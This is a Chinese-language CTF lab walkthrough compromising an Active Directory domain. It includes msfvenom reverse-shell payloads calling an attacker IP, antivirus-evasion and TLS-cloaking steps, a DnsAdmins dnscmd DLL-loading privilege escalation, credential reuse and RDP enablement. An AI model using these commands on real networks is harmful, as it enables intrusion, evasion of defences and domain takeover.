实验室地址:www.haishilab.com
nmap开路
smbmap匿名登陆,我们看到有两个用户
smb用jack匿名登陆发现有个history.txt
下载history.txt发现jack的用户名和密码
拿到jack的密码后,我们用smbmap看看访问权限
可以判断jack为域用户
我们看看SYSVOL里是否有是否存在下发的脚本文件
可以看到。没有列目录的权限
NETLOGON同样没有列目录权限
再次用nmap看看5985端口是否开放
5985端口开放
尝试winrm登陆失败,账户没有使用winrm登陆的权限
使用bloodhound的python抓取域内信息,先设置hosts
使用bloodhoud.py收集域内信息
python3 bloodhound.py -d otarriinae.local -u jack -p 'POsg77@ht!' -gc ad01.otarriinae.local -c all -ns 10.20.2.37
打开ne04j
打开Bloodhound
上传数据
我们看一下DOMAIN USERS组
我们看到ALAN用户的密码直接写在了备注里
直接用evli-winrm登陆
evil-winrm -i 10.20.2.37 -u alan -p 'U@ssw0rd92'
拿到第一个flag
通过之前的域内信息收集,我们发现用户ryan属于DOMAIN USERS DNSADMINS REMOTE MANAGEMENT USERS组,其中DNSADMINS可以通过dnscmd来远程访问远程目录的木马执行,获得system权限
dir -h查看隐藏文件
在隐藏文件夹PowershellScript中找到ryan的密码
\\ad01\backups ryan sisXU@3smu
直接用evli-winrm登陆
evil-winrm -i 10.20.2.37 -u ryan -p 'sisXU@3smu'
whoami /all
存在dnscmd
接下来要用免杀木马
msf生成raw
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.4.98 LPORT=6666 -f raw -o msf.bin
还是采用分离免杀加openssl加密流量
生成公钥
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt > www.google.com.pem && \rm -f www.google.com.key www.google.com.crt
生成shellcode注意这里要上线后马上进行进程迁移,否则很容易被杀
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=10.10.4.98 LPORT=6666 PrependMigrate=true PrependMigrateProc=ChsIME.exe PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f c -o shellcode.c
开启监听
use exploit/multi/handler exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps exploit(multi/handler) > set lhost 192.168.0.102 exploit(multi/handler) > set lport 443 exploit(multi/handler) > set HandlerSSLCert /root/桌面/liuliangjiami/www.google.com.pem exploit(multi/handler) > set StagerVerifySSLCert true
这里免杀采用了分离免杀,shellcode混淆,代码作为参数传入的免杀方法
拿到shell
开启smb共享
msfvenom -p windows/x64/exec cmd='net group "domain admins" jack /add /domain' -f dll -o assDa.dll
dnscmd ad01.otarriinae.local /config /serverlevelplugindll \\10.10.4.98\share\addDa.dll
看一下dns服务
重启dnsf服务,可以看到成功下载smb里的dll
还返回了ntlm哈希
我们看一下jack用户,已经成功添加为了域管理员组
我们再次用jack登陆evil-winrm
evil-winrm -i 10.20.2.37 -u jack -p 'POsg77@ht!'
成功拿到flag
开3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f netsh firewall add portopening protocol = TCP port = 3389 name = rdp
成功登陆远程桌面
#如无特别声明,该文章均为 原创,转载请遵循
署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023-05-10 14:58:21